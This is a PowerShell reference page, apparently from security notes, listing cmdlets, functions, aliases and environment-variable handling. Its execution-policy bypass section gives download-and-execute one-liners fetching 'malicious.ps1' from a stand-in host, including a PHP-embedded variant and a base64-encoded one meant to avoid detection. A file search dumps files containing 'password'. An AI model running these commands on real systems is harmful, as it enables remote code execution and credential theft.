Skip to content

Latest commit

 

History

History
916 lines (714 loc) · 119 KB

powershell.md

File metadata and controls

916 lines (714 loc) · 119 KB

PowerShell

PowerShell Syntax

For PowerShell syntax examples see my scripting page here.

PowerShell Commands

In PowerShell, there are three main types of commands: cmdlets, functions, and aliases.

Cmdlets

Cmdlet is pronounced "command-let". They are instances of .NET classes, not stand-alone executables like in other shell environments. This makes it extremely easy for third parties to extend the functionality of PowerShell without compiling new binaries. Cmdlet names have the form "Verb-Noun" to make them easily discoverable (according to Microsoft anyway!).

Since cmdlets are an actual instance of a .NET class, the output from a command is a bit different than in a traditional command shell. Instead of the common standard-in and standard-out, PowerShell returns an object that contains a number of properties of which a select number are displayed depending on the cmdlet. Objects returned by a cmdlet often have many more discoverable properties and methods that can be manipulated and acted on by those with experience, through experimentation, or by reading the documentation. This makes it extremely powerful.

You can also use them in pretty much the same way as commands in a traditional shell environment without knowing any of this, though you will get much more out of it if you take the time to learn.

cmdlet verbs

Cmdlets are restricted to only a set list of verbs. Nouns can be whatever you want, but should follow Third party developers and scripters are encouraged by Microsoft to only use ones from this list for consistency, but PowerShell will not deny modules that use other verbs from running. The most common verbs are New, Get, Set, and Invoke, though there are many more. You can read more about this here.

The Three Core Cmdlets

If you know how to use these three cmdlets, you can figure out how to use any other cmdlet.

Run Get-Help $cmdlet_name -Examples for usage

Cmdlet Alias Description
Get-Command gcm Gets all currently installed PowerShell commands.
Get-Help Displays basic help about cmdlets and functions, including examples. To get more advanced examples and information, the help index may need updating with Update-Help as it is not installed by default (may require admin rights). Similar to Unix man pages.
Get-Member gm Gets the properties and methods of objects.

Other useful cmdlets

Cmdlet Name Alias Description
Add-AppxPackage Adds a signed app package to a user account.
Add-AppxProvisionedPackage Adds an app package (.appx) that will install for each new user to a Windows image.
Add-Computer Add the local computer to a domain or workgroup.
Add-Content ac Appends content, such as words or data, to a file.
Add-KdsRootKey Generates a new root key for the Microsoft Group KdsSvc within Active Directory.
Add-LocalGroupMember Adds members to a local group.
Add-Member Adds custom properties and methods to an instance of a PowerShell object.
Add-PSSnapin Adds one or more PowerShell snap-ins to the current session.
Add-Type Adds a.NET Framework type (a class) to a PowerShell session.
Add-WindowsCapability Installs a Windows capability package on the specified operating system image.
Add-WindowsPackage Adds a single .cab or .msu file to a Windows image.
Clear-Content clc Deletes the contents of an item, but does not delete the item.
Clear-Variable clv Deletes the value of a variable.
Compare-Object compare, diff Compares two sets of objects.
Confirm-SecureBootUEFI Confirms that Secure Boot is enabled by checking the Secure Boot status on the local computer.
Convert-Path cvpa Converts a path from a PowerShell path to a PowerShell provider path.
ConvertFrom-Csv Converts object properties in comma-separated value (CSV) format into CSV versions of the original objects.
ConvertFrom-Json Converts a JSON-formatted string to a custom object.
ConvertFrom-SecureString Converts a secure string to an encrypted standard string.
ConvertFrom-String CFS Extracts and parses structured properties from string content.
ConvertFrom-StringData Converts a string containing one or more key and value pairs to a hash table.
ConvertTo-Csv Converts objects into a series of comma-separated value (CSV) variable-length strings.
ConvertTo-Html Converts .NET Framework objects into HTML that can be displayed in a Web browser.
ConvertTo-Json Converts an object to a JSON-formatted string.
ConvertTo-Xml Creates an XML-based representation of an object.
ConvertTo-SecureString Converts encrypted standard strings to secure strings. It can also convert plain text to secure strings. Used with ConvertFrom-SecureString and Read-Host.
Copy-Item copy, cp, cpi Copies an item from one location to another.
Disable-WindowsOptionalFeature Disables a feature in a Windows image.
Enable-PSRemoting Configures the computer to receive remote commands.
Enable-WindowsOptionalFeature Enables a feature in a Windows image.
Enable-WSManCredSSP Enables CredSSP authentication on a computer.
Enter-PSSession etsn Starts an interactive session with a remote computer.
Exit-PSSession exsn Ends an interactive session with a remote computer.
Export-Certificate Exports a certificate from a certificate store into a file.
Export-Clixml Creates an XML-based representation of an object or objects and stores it in a file.
Export-Csv epcsv Converts objects into a series of comma-separated (CSV) strings and saves the strings in a CSV file.
Export-ModuleMember Specifies the module members that are exported.
Export-PfxCertificate Exports a certificate or a PFXData object to a Personal Information Exchange (PFX) file.
Export-StartLayout Exports the layout of the Start menu/screen.
Export-WindowsDriver Exports all third-party drivers from a Windows image to a destination folder.
Find-Package Finds software packages in available package sources.
ForEach-Object %, foreach Performs an operation against each item in a collection of input objects.
Format-Custom fc Uses a customized view to format the output.
Format-List fl Formats the output as a list of properties in which each property appears on a new line.
Format-Table ft Formats the output as a table.
Format-Wide fw Formats objects as a wide table that displays only one property of each object.
Get-Acl Gets the security descriptor for a resource, such as a file or registry key.
Get-Alias gal Gets the aliases for the current session.
Get-AppvClientPackage Returns App-V Client Packages.
Get-AppxPackage Gets a list of the app packages that are installed in a user profile.
Get-AppxProvisionedPackage Gets information about app packages (.appx) in an image that will be installed for each new user.
Get-AuthenticodeSignature Gets information about the Authenticode signature for a file.
Get-BitsTransfer Gets the associated BitsJob object for an existing BITS transfer job.
Get-Certificate Submits a certificate request to an enrollment server and installs the response or retrieves a certificate for a previously submitted request.
Get-ChildItem dir, gci, ls Gets the files and folders in a file system drive.
Get-CimInstance Gets the CIM instances of a class from a CIM server.
Get-Clipboard Gets the current Windows clipboard entry.
Get-ComputerInfo Gets a consolidated object of system and operating system properties.
Get-Content cat, gc, type Gets the contents of a file.
Get-Counter Gets performance counter data from local and remote computers.
Get-Credential Gets a credential object based on a user name and password.
Get-Culture Gets the current culture set in the operating system.
Get-Date Gets the current date and time.
Get-Event Gets the events in the event queue.
Get-EventLog Gets the events in an event log, or a list of the event logs, on the local or remote computers.
Get-ExecutionPolicy Gets the execution policies for the current session.
Get-History ghy, h, history Gets a list of the commands entered during the current session.
Get-Host Gets an object that represents the current host program.
Get-HotFix Gets the hotfixes that have been applied to the local and remote computers.
Get-Item gi Gets files and folders.
Get-ItemProperty gp Gets the properties of a specified item.
Get-ItemPropertyValue gpv Gets the value for one or more properties of a specified item.
Get-Job gjb Gets PowerShell background jobs that are running in the current session.
Get-LocalGroup Gets the local security groups.
Get-LocalGroupMember Gets members from a local group.
Get-LocalUser Gets local user accounts.
Get-Location gl, pwd Gets information about the current working location (directory) or a location stack.
Get-Module gmo Gets the modules that have been imported or that can be imported into the current session.
Get-Package Returns a list of all software packages that have been installed by using Package Management.
Get-PfxCertificate Gets information about .pfx certificate files on the computer.
Get-Process gps, ps Gets the processes that are running on the local computer or a remote computer.
Get-PSDrive gdr Gets drives in the current session.
Get-PSSession gsn Gets PowerShell session information on local and remote computers.
Get-PSSnapin Gets the PowerShell snap-ins on the computer.
Get-Random Gets a random number, or selects objects randomly from a collection.
Get-ScheduledJob Gets scheduled jobs on the local computer.
Get-Service gsv Gets the services on a local or remote computer.
Get-Tpm Gets an object that contains information about a TPM.
Get-Unique gu Returns unique items from a sorted list.
Get-Variable gv Gets the variables in the current console.
Get-ScheduledJob Gets scheduled jobs on the local computer.
Get-WindowsCapability Gets Windows capabilities for an image or a running operating system.
Get-WindowsOptionalFeature Gets information about optional features in a Windows image.
Get-WinEvent Gets events from event logs and event tracing log files on local and remote computers.
Get-WmiObject gwmi Gets instances of WMI classes or information about the available classes.
Group-Object group Groups objects that contain the same value for specified properties.
Import-Certificate Imports one or more certificates into a certificate store.
Import-Csv ipcsv Creates table-like custom objects from the items in a CSV file.
Import-Clixml Imports a CLIXML file and creates corresponding objects in PowerShell.
Import-Module ipmo Adds modules to the current session.
Import-PfxCertificate Imports certificates and private keys from a Personal Information Exchange (PFX) file to the destination store.
Import-PSSession ipsn Imports commands from another session into the current session.
Import-StartLayout Imports the layout of the Start into a mounted Windows image.
Install-Package Installs one or more software packages.
Install-PackageProvider Installs one or more Package Management package providers.
Invoke-CimMethod Invokes a method of a CIM class.
Invoke-Command icm Runs commands on local and remote computers.
Invoke-Expression iex Runs commands or expressions on the local computer.
Invoke-Item ii Performs the default action on the specified item.
Invoke-RestMethod irm Sends an HTTP or HTTPS request to a RESTful web service.
Invoke-WebRequest curl, iwr, wget Gets content from a web page on the Internet.
Invoke-WmiMethod Calls WMI methods.
Join-Path Combines a path and a child path into a single path.
Measure-Command Measures the time it takes to run script blocks and cmdlets.
Measure-Object measure Calculates the numeric properties of objects, such as the counts of the characters, words, and lines in string objects, such as from text files.
Move-Item mi, move, mv Moves an item from one location to another.
Mount-WindowsImage Mounts a Windows image in a WIM or VHD file to a directory on the local computer.
New-Alias nal Creates a new alias.
New-CimSession Creates a CIM session.
New-EventLog Creates a new event log and a new event source on a local or remote computer.
New-Item ni Creates a new item.
New-ItemProperty Creates a new property for an item and sets its value.
New-JobTrigger Creates a job trigger for a scheduled job.
New-LocalUser Creates a local user account.
New-Object Creates an instance of a .NET or COM object.
New-PSDrive mount, ndr Creates temporary and persistent mapped network drives.
New-PSSession nsn Creates a persistent connection to a local or remote computer.
New-PSSessionOption Creates an object that contains advanced options for a PSSession.
New-SelfSignedCertificate Creates a new self-signed certificate for testing purposes.
New-Service Creates a new Windows service.
New-TimeSpan Creates a TimeSpan object.
New-Variable nv Creates a new variable.
New-WebServiceProxy Creates a Web service proxy object that lets you use and manage the Web service in PowerShell.
Out-Default Sends the output to the default formatter and to the default output cmdlet.
Out-File Sends output to a file.
Out-GridView ogv Sends output to an interactive table in a separate window.
Out-Host oh Sends output to the command line.
Out-Null Deletes output instead of sending it down the pipeline.
Out-Printer lp Sends output to a printer.
Out-String Sends objects to the host as a series of strings.
Push-Location pushd Adds the current location to the top of a location stack.
Read-Host Reads a line of input from the console.
Receive-Job rcjb Gets the results of the Windows PowerShell background jobs in the current session.
Register-ObjectEvent Subscribes to the events that are generated by a Microsoft .NET Framework object.
Register-ScheduledJob Creates a scheduled job.
Remove-AppxPackage Removes an app package from a user account.
Remove-AppxProvisionedPackage Removes an app package (.appx) from a Windows image.
Remove-Computer Removes the local computer from its domain.
Remove-Item del, erase, rd, ri, rm, rmdir Deletes files and folders.
Remove-ItemProperty rp Deletes the property and its value from an item.
Remove-Module rmo Removes modules from the current session.
Remove-PSDrive rdr Deletes temporary PowerShell drives and disconnects mapped network drives.
Remove-PSSession rsn Closes one or more PowerShell sessions.
Remove-Variable rv Deletes a variable and its value.
Remove-WmiObject Deletes an instance of an existing Windows Management Instrumentation (WMI) class.
Rename-Computer Renames a computer.
Rename-Item ren, rni Renames an item in a PowerShell provider namespace.
Repair-WindowsImage Repairs a Windows image in a WIM or VHD file.
Reset-ComputerMachinePassword Resets the machine account password for the computer.
Resolve-DnsName Performs a DNS name query resolution for the specified name. This cmdlet is functionally similar to the nslookup tool which allows users to query for names.
Resolve-Path rvpa Resolves the wildcard characters in a path, and displays the path contents.
Restart-Computer Restarts, or "reboots", the operating system on local and remote computers.
Restart-Service Stops and then starts one or more services.
Select-Object select Selects objects or object properties.
Select-String sls Finds text in strings and files.
Select-Xml Finds text in an XML string or document.
Send-MailMessage Sends an email message.
Set-Acl Changes the security descriptor of a specified item, such as a file or a registry key.
Set-Alias sal Creates or changes an alias for a cmdlet or other command element in the current PowerShell session.
Set-AuthenticodeSignature Adds an Authenticode signature to a PowerShell script or other file.
Set-Content sc Replaces the contents of a file with contents that you specify.
Set-Culture Sets the user culture for the current user account.
Set-Date Changes the system time on the computer to a time that you specify.
Set-DscLocalConfigurationManager Applies Local Configuration Manager settings to nodes.
Set-ExecutionPolicy Changes the current PowerShell execution policy.
Set-Item si Changes the value of an item to the value specified in the command.
Set-ItemProperty sp Creates or changes the value of a property of an item.
Set-LocalUser Modifies a local user account.
Set-Location cd, chdir, sl Sets the current working location to a specified location.
Set-PSDebug Turns script debugging features on and off, sets the trace level, and toggles strict mode.
Set-PSSessionConfiguration Changes the properties of a registered session configuration.
Set-Service Starts, stops, and suspends a service, and changes its properties.
Set-StrictMode Establishes and enforces coding rules in expressions, scripts, and script blocks.
Set-TimeZone Sets the system time zone to a specified time zone.
Set-Variable set, sv Sets the value of a variable. Creates the variable if one with the requested name does not exist.
Set-WinSystemLocale Sets the system locale (the language for non-Unicode programs) for the current computer.
Set-WinUserLanguageList Sets the language list and associated properties for the current user account.
Set-WmiInstance Creates or updates an instance of an existing Windows Management Instrumentation (WMI) class.
Set-WSManQuickConfig Configures the local computer for remote management.
Sort-Object sort Sorts objects by property values.
Split-Path Returns the specified part of a path. Example: cd to file location:cd (Split-Path -Parent (Get-Command -Name pwsh).Path)
Start-BitsTransfer Creates a BITS transfer job.
Start-DscConfiguration Applies configuration to nodes.
Start-Job sajb Starts a background job in PowerShell.
Start-Process saps, start Starts one or more processes on the local computer.
Start-Service sasv Starts one or more stopped services.
Start-Sleep sleep Suspends the activity in a script or session for the specified period of time.
Start-Transcript Creates a record of all or part of a PowerShell session to a text file.
Stop-Computer Shuts down local and remote computers.
Stop-Process kill, spps Stops one or more running processes.
Stop-Service spsv Stops one or more running services.
Stop-Transcript Stops logging PowerShell history.
Tee-Object tee Saves command output in a file or variable and also sends it down the pipeline.
Test-ComputerSecureChannel Tests and repairs the secure channel between the local computer and its domain.
Test-Connection Sends ICMP echo request packets ("pings") to one or more computers.
Test-Path Determines whether all elements of a file or directory path exist.
Test-WSMan Tests whether the WinRM service is running on a local or remote computer.
Unblock-File Unblocks files that were downloaded from the Internet.
Uninstall-Package Uninstalls one or more software packages.
Update-Help Downloads and installs the newest help files on your computer.
Wait-Job wjb Suppresses the command prompt until one or all of the background jobs running in the PowerShell session are completed.
Wait-Process Waits for the processes to be stopped before accepting more input.
Where-Object ?, where Selects objects from a collection based on their property values.
Write-Debug Writes a debug message to the console.
Write-Error Writes an object to the error stream.
Write-EventLog Writes an event to an event log.
Write-Host Writes output to the console.
Write-Information Specifies how PowerShell handles information stream data for a command.
Write-Output echo, write Sends the specified objects to the next command in the pipeline. If the command is the last command in the pipeline, the objects are written to the console.

Functions

PowerShell functions are reusable blocks of code that can be executed by calling their name. They are similar to cmdlets but are user-defined and can include custom logic. Functions are a core part of PowerShell scripting and automation.

Difference Between Cmdlets and Functions

Feature Cmdlets Functions
Definition Predefined commands written in .NET, provided by PowerShell or modules User-defined commands written in PowerShell scripts
Performance Optimized for performance May be slower depending on implementation
Customization Limited to parameters and pipeline Fully customizable, including logic and structure
Examples Get-Process, Set-Item Custom scripts like function MyFunction { Write-Output 'Hello' }

Creating Functions

To create a function in PowerShell, use the function keyword followed by the function name and a script block:

function Greet {
    param (
        [string]$Name
    )
    Write-Output "Hello, $Name!"
}

# Usage
Greet -Name "World"
# Output: Hello, World!

Anonymous Functions

Anonymous functions, also known as script blocks, are unnamed blocks of code that can be assigned to variables or passed as arguments:

# Assigning a script block to a variable
$myScriptBlock = {
    param($x, $y)
    $x + $y
}

# Invoking the script block
$myScriptBlock.Invoke(5, 10)  # Output: 15

Categorized Functions

Security Functions

The following table lists PowerShell functions categorized under Security:

Function Name Description
Add-MpPreference Modifies settings for Windows Defender.
Enable-BitLocker Enables encryption for a BitLocker volume.
Enable-NetFirewallRule Enables a previously disabled firewall rule.
Get-BitLockerVolume Gets information about volumes that BitLocker can protect.
Get-NetFirewallRule Retrieves firewall rules from the target computer.
Get-WindowsUpdateLog Merges Windows Update .etl files into a single log file.
New-NetFirewallRule Creates a new inbound or outbound firewall rule and adds the rule to the target computer.
Set-MpPreference Configures preferences for Windows Defender scans and updates.
Set-NetFirewallProfile Configures settings that apply to the per-profile configurations of the Windows Firewall with Advanced Security.
Set-NetFirewallRule Modifies existing firewall rules.
Suspend-BitLocker Suspends Bitlocker encryption for the specified volume.
Network Functions

The following table lists PowerShell functions categorized under Network:

Function Name Description
Add-VpnConnection Adds a VPN connection to the Connection Manager phone book.
Add-VpnConnectionRoute Adds a route to a VPN connection.
Disable-NetAdapterBinding Disables a binding to a network adapter.
Get-DnsClientServerAddress Gets DNS server IP addresses from the TCP/IP properties on an interface.
Get-InitiatorPort Gets one or more host bus adapter (HBA) initiator ports.
Get-NetAdapter Gets the basic network adapter properties.
Get-NetAdapterVmq Gets the VMQ properties of a network adapter.
Get-NetConnectionProfile Gets a connection profile.
Get-NetIPConfiguration Gets IP network configuration.
Get-NetIPAddress Gets the IP address configuration.
Get-NetIPInterface Gets an IP interface.
Get-NetTCPConnection Gets TCP connections.
New-NetIPAddress Creates and configures an IP address.
New-NetLbfoTeam Creates a new NIC team.
New-NetNat Creates a NAT object.
New-NetRoute Creates a route in the IP routing table.
Remove-NetIPAddress Removes an IP address and its configuration.
Set-DnsClientServerAddress Sets DNS server addresses associated with the TCP/IP properties on an interface.
Set-NetAdapter Sets the basic network adapter properties.
Set-NetAdapterVmq Sets the VMQ properties of a network adapter.
Set-NetConnectionProfile Changes the network category of a connection profile.
Set-NetIPAddress Modifies the configuration of an IP address.
Set-NetIPInterface Modifies an IP interface.
Test-NetConnection Displays diagnostic information for a connection.
PoSh Functions

The following table lists PowerShell functions categorized as PowerShell-specific):

Function Name Description
Find-Module Finds modules from an online gallery that match specified criteria.
Get-InstalledModule Gets installed modules on a computer.
Get-PSRepository Gets PowerShell repositories.
Install-Module Downloads one or more modules from an online gallery, and installs them on the local computer.
Invoke-Pester Invokes Pester to run all tests (files containing *.Tests.ps1) recursively under the Path
Register-PSRepository Registers a PowerShell repository.
Save-Module Saves a module locally without installing it.
Set-PSRepository Sets values for a registered repository.
Uninstall-Module Uninstalls a module.
Update-Module Downloads and installs the newest version of specified modules from an online gallery to the local computer.
Update-Script Updates a script.
Scheduled Tasks Functions

The following table lists PowerShell functions categorized under Scheduled Tasks:

Function Name Description
Get-ScheduledTask Gets the task definition object of a scheduled task that is registered on the local computer.
Get-ScheduledTaskInfo Gets run-time information for a scheduled task.
New-ScheduledTask Creates a scheduled task instance.
New-ScheduledTaskAction Creates a scheduled task action.
New-ScheduledTaskPrincipal Creates an object that contains a scheduled task principal.
New-ScheduledTaskSettingsSet Creates a new scheduled task settings object.
New-ScheduledTaskTrigger Creates a scheduled task trigger object.
Register-ScheduledTask Registers a scheduled task definition on a local computer.
Set-ScheduledTask Modifies a scheduled task.
Unregister-ScheduledTask Unregisters a scheduled task.
Printer Functions

The following table lists PowerShell functions categorized under Printer:

Function Name Description
Add-Printer Adds a printer to the specified computer.
Add-PrinterDriver Installs a printer driver on the specified computer.
Add-PrinterPort Installs a printer port on the specified computer.
Get-Printer Retrieves a list of printers installed on a computer.
Remove-Printer Removes a printer from the specified computer.
Set-Printer Updates the configuration of an existing printer.
Storage Functions

The following table lists PowerShell functions categorized under Storage:

Function Name Description
Clear-Disk Cleans a disk by removing all partition information and un-initializing it, erasing all data on the disk.
Format-Volume Formats one or more existing volumes or a new volume on an existing partition.
Get-Disk Gets one or more disks visible to the operating system.
Get-Partition Returns a list of all partition objects visible on all disks, or optionally a filtered list using specified parameters.
Get-PhysicalDisk Gets a list of all PhysicalDisk objects visible across any available Storage Management Providers, or optionally a filtered list.
Get-StorageJob Returns information about long-running Storage module jobs, such as a repair task.
Get-VirtualDisk Returns a list of VirtualDisk objects. This can be across all storage pools, across all providers, or optionally as a filtered subset.
Get-Volume Gets the specified Volume object, or all Volume objects if no filter is provided.
Initialize-Disk Initializes a RAW disk for first time use, enabling the disk to be formatted and used to store data.
Mount-DiskImage Mounts a previously created disk image (virtual hard disk or ISO), making it appear as a normal disk.
New-Partition Creates a new partition on an existing Disk object.
New-StoragePool Creates a new storage pool using a group of physical disks.
New-VirtualDisk Creates a new virtual disk in the specified storage pool.
New-Volume Creates a volume with the specified file system.
Optimize-Volume Optimizes a storage volume.
Remove-PhysicalDisk Removes a physical disk from a specified storage pool.
Repair-Volume Performs repairs on a volume.
Resize-Partition Resizes a partition and the underlying file system.
Set-Disk Takes a Disk object or unique disk identifiers and a set of attributes, and updates the physical disk on the system.
Set-Partition Sets attributes of a partition, such as active, read-only, and offline states.
Set-PhysicalDisk Sets attributes on a specific physical disk.
Utility Functions

The following table lists PowerShell functions categorized under Utility:

Function Name Description
Clear-Host Clears the display in the host program. Alias: clear or cls
Compress-Archive Creates an archive, or zipped file, from specified files and folders.
Expand-Archive Extracts files from a specified archive (zipped) file.
Get-FileHash Computes the hash value for a file by using a specified hash algorithm.
New-Guid Creates a GUID.
Set-Clipboard Sets the current Windows clipboard entry.
SMB Functions

The following table lists PowerShell functions categorized under SMB:

Function Name Description
Get-SmbConnection Retrieves the connections established from the SMB client to the SMB servers.
Get-SmbOpenFile Retrieves basic information about the files that are open on behalf of the clients of the SMB server.
Get-SmbServerConfiguration Retrieves the SMB server configuration.
Get-SmbSession Retrieves information about the SMB sessions that are currently established between the SMB server and the associated clients.
Get-SmbShare Retrieves the SMB shares on the computer.
Get-SmbShareAccess Retrieves the ACL of the SMB share.
Grant-SmbShareAccess Adds an allow ACE for a trustee to the security descriptor of the SMB share.
New-SmbMapping Creates an SMB mapping.
New-SmbShare Creates an SMB share.
Set-SmbClientConfiguration Sets the SMB client configuration.
Set-SmbShare Modifies the properties of the SMB share.
Set-SmbServerConfiguration Sets the SMB Service configuration.
Apps Functions

The following table lists PowerShell functions categorized under Apps:

Function Name Description
Get-StartApps Gets the names and AppIDs of installed apps.
Hardware Functions

The following table lists PowerShell functions categorized under Hardware:

Function Name Description
Get-PnpDevice Returns information about PnP devices.

Aliases

There are many built-in aliases for the most commonly used cmdlets. The developers wanted to make cmd.exe and Unix users feel at home, so many of those basic commands will function in a similar way. Here are some commonly used examples. You can use the Get-Alias cmdlet to see the full list.

Cmdlet Aliases
Get-ChildItem
  • ls
  • dir
  • gci
Get-Content
  • cat
  • type
  • gc
Set-Location
  • cd
  • chdir
  • sl

Check the Version of PowerShell

$PSVersionTable

Script Execution Policy

The Script Execution Policy in PowerShell is a security feature that determines the conditions under which PowerShell scripts are allowed to run. This is important because it helps prevent the execution of malicious scripts by enforcing restrictions on script execution. Understanding and configuring the Script Execution Policy is crucial for maintaining a secure environment while using PowerShell.

Bypassing these restrictions is trivial, however, depending on the scope of the change. Attackers do this to execute scripts, escalate privileges, or maintain persistence on a compromised system. By knowing the execution policy and its limitations, attackers can identify potential methods to avoid or exploit these settings, such as using the Bypass policy or leveraging misconfigurations.

Policy Description
AllSigned All .ps1 files must be digitally signed. PowerShell prompts the user to determine if files from the signing publisher should be run.
Bypass Bypasses checks for whether files are signed, and internet origin is not verified.
Default The default policies are Restricted (client systems) or RemoteSigned (Server 2016+)
RemoteSigned All .ps1 files originating from the internet must be digitally signed. PowerShell prompts the user to determine if files from the signing publisher should be run. Allows local scripts and remote scripts if they are signed.
Restricted All .ps1 files are blocked.
Undefined There is no execution policy set in the current scope. Reverts to Default policy.

To view current execution policy check use the cmdlet Get-ExecutionPolicy. If no execution policy is set in any scope, the effective execution policy is Restricted, which is the default for client systems (Windows 10) or RemoteSigned (Server 2016+).

The policy can be changed with the cmdlet Set-ExecutionPolicy.

Set-ExecutionPolicy $PolicyName

{% hint style="success" %} For**Execution-Policy** bypass methods for privilege escalation and so on see this section. {% endhint %}

PowerShell Script Execution Bypass

Get the current PowerShell script execution policy for all scopes with:

Get-ExecutionPolicy -List

Most likely this will be set to Restricted, but you need to have admin rights to change this (with one caveat later). So, in order to run scripts, you will need to use one of the following bypass methods.

Change Execution Method with -Scope CurrentUser

Set-ExecutionPolicy Bypass -Scope CurrentUser -File script.ps1

You can change the Execution Policy for the current user by using the -Scope CurrentUser argument. This will still not allow you to run scripts in other contexts (such as in scheduled tasks), but all scripts run as the current user will now function just fine. This is the easiest bypass method but requires making a configuration change that could potentially be detected.

Copy and paste script code into PowerShell

The second easiest method is to simply copy and paste the code from the script into a PowerShell console. It may prompt you to verify that you intend to paste multiple lines, simply click "yes". As long as the code does not have any strange formatting that prevents it from running line by line, the whole script will run. If the script contains a function, you can continue to use this function simply by calling its name.

Echo the script code into PowerShell

This technique is similar to the previous, in that you must copy and paste the code from the script into a PowerShell console. However, you must prefix your code with the echo (Alias for Write-Output) command and then pipe the copied code into PowerShell.exe, like below:

echo Test-YourCode | PowerShell -NoProfile -

{% hint style="info" %} If your code contains multiple lines, quotes, or is contained within a function it may not execute properly, or at all. You will have to experiment with wrapping the code in quotes or escaping certain characters. This may seem like a pain, but the upside to this technique is that it requires no configuration changes, and the code is run entirely in memory. {% endhint %}

Using the -Command Parameter

You can execute a script directly from the command line without saving it to disk by putting it into a code block and using the -Command parameter:

powershell.exe -NoProfile -Command "& {Get-Process}"

Embedding in a PHP Script

You can embed a PowerShell bypass in a PHP script to execute commands:

<?php
$cmd = "powershell.exe -ExecutionPolicy Bypass -Command \"IEX(New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')\"";
system($cmd);
?>

Using Encoded Commands

You can encode the PowerShell command to avoid detection:

$command = "IEX(New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand

Using Invoke-Expression

You can use Invoke-Expression to execute a script in memory:

IEX(New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')

Using Get-Content and Piping

You can read the contents of a script and pipe it into PowerShell:

Get-Content script.ps1 | powershell.exe -NoProfile -

This can also be done remotely using a UNC path:

Get-Content "\\RemoteComp\Test-YourCode.ps1" | PowerShell -NoProfile -

For more details on PowerShell bypass methods and their role in privilege escalation, see the Windows Privilege Escalation page.

Environment Variables

{% tabs %} {% tab title="PowerShell" %} Show all current environment variables in PowerShell: Get-ChildItem Env:

Also aliased to: dir env: or ls env: or gci env:

Environment variables can be echo'd or used in scripts by prefixing them with $env:. Ex:

echo $env:USERNAME
#bob

{% endtab %}

{% tab title="cmd.exe" %} Show all current environment variables in cmd.exe: set

Environment variables can be echo'd or used in scripts by bracketing them with %. Ex:

echo %USERNAME%
#bob

{% endtab %} {% endtabs %}

Convert cmd.exe environment variables to PowerShell:

%SYSTEMROOT% == $env:SystemRoot

You can assign values to Environment Variables without using a cmdlet using the following syntax:

$Env:$var = "$value"

Examples:

  • $env:username
  • $env:hostname
  • $env:path

{% hint style="info" %} If you set a value to an environment variable that does not exist, Windows will create it. You can use this to create your own custom environment variables. {% endhint %}

You can also use the 'Item' cmdlets, such as Set-Item, Remove-Item, and Copy-Item to change the values of environment variables. For example, you can use the Set-Item cmdlet to append C:\Windows\Temp to the value of the $Env:PATH environment variable (see the following section).

Adding a Folder to PATH

Set-Item -Path Env:PATH -Value ($Env:Path + ";C:\Windows\Temp")

{% hint style="info" %} In this command, the value $Env:Path + ";C:\Windows\Temp" is enclosed in parentheses so that it is interpreted as a single unit. {% endhint %}

{% tabs %} {% tab title="PowerShell" %} To append C:\Windows\Temp to the PATH , use the following syntax (note the (;) separator):

$Env:PATH += ";C:\Windows\Temp"

Add a folder to PATH using System.Environment .NET methods

The System.Environment .NET class provides GetEnvironmentVariable and SetEnvironmentVariable methods that allow you to specify the scope of the variable.

The following example uses the GetEnvironmentVariable method to get the machine setting of PSModulePath and the SetEnvironmentVariable method to add the C:\Program Files\Fabrikam\Modules path to the value.

$path = [Environment]::GetEnvironmentVariable('PSModulePath', 'Machine')
$newpath = $path + ';C:\Program Files\Fabrikam\Modules'

{% endtab %} {% tab title="cmd.exe" %}

To append C:\Windows\Temp to the PATH in Windows CMD, use the following syntax (note the ; separator):

set PATH=%PATH%;C:\Windows\Temp

To make this change permanent, use the setx command:

setx PATH "%PATH%;C:\Windows\Temp"

Note: Changes made with setx will only take effect in new CMD sessions. Also beware the maximum character limit of 256, as PATHs longer than this will get truncated.

{% endtab %}

{% tab title="Linux/MacOS" %} On Linux or MacOS, the colon (:) in the command separates each path in the list.

Linux/MacOS

To append /temp to the PATH, use the following syntax (note the : separator):

export PATH="$PATH:/temp"

To make this change permanent, add the above line to your shell's configuration file (e.g., ~/.bashrc, ~/.zshrc, or ~/.bash_profile) and reload the configuration using:

source ~/.bashrc

{% endtab %} {% endtabs %}

Working with Files

Find hidden files

Get-ChildItem -Force

Change file attributes

This can also be used to change file property flags such as Hidden, Archive, and ReadOnly.

$file = (Get-ChildItem $file_name) #can shorten command with gci, dir, or ls
$file.attributes #Show the files attributes
# Normal

#Flip the bit of the Hidden attribute
$file.attributes = $file.Attributes -bxor ([System.IO.FileAttributes]::Hidden)
$file.attributes
# Hidden

#To remove the 'Hidden' attribute
$file.attributes = $file.Attributes -bxor ([System.IO.FileAttributes]::Hidden)
$file.attributes
# Normal

Recursively search for files that contain a certain string

https://superuser.com/questions/815527/way-to-list-and-cat-all-files-that-contain-string-x-in-powershell - look for text in a file and lists its name and contents. These examples are looking for the word 'password'.

Shorthand (aliased) version:

ls -R|?{$_|sls 'password'}|%{$_.FullName;gc $_}

Remove ;gc $_ to only list the filenames. Then you can extract to Linux and use better text manipulation tools like strings and grep.

ls -R | ? { $_ | sls 'password' } | % { $_ ; gc $_ }

The above is expanded for visibility of the individual elements. The shorthand version is condensed for situations where characters are at a premium.

Full version:

Get-ChildItem -Recurse | Where-Object {(Select-String -InputObject $_ -Pattern 'password' -Quiet) -eq $true} | ForEach-Object {Write-Output $_; Get-Content $_}

Explanation:

# Get a listing of all files within this folder and its subfolders.
Get-ChildItem -Recurse |

# Filter files according to a script.
Where-Object {
    # Pick only the files that contain the string 'password'.
    # Note: The -Quiet parameter tells Select-String to only return a Boolean. This is preferred if you just need to use Select-String as part of a filter, and don't need the output.
    (Select-String -InputObject $_ -Pattern 'password' -Quiet) -eq $true
} |

# Run commands against each object found.
ForEach-Object {
    # Output the file properties.
    Write-Output $_;

    # Output the file's contents.
    Get-Content $_
}

Aside from the obvious use of aliases, collapsing of whitespace, and truncation of parameter names in the shorthand version, you may want to note the following significant differences between the "full" versions and the "condensed" version:

  • Select-String was swapped to use piped input instead of -InputObject.
  • The -Pattern parameter name was omitted from Select-String, as use of that parameter's name is optional.
  • The -Quiet option was dropped from Select-String. The filter will still work, but it will take longer since Select-String will process each complete file instead of stopping after the first matching line.
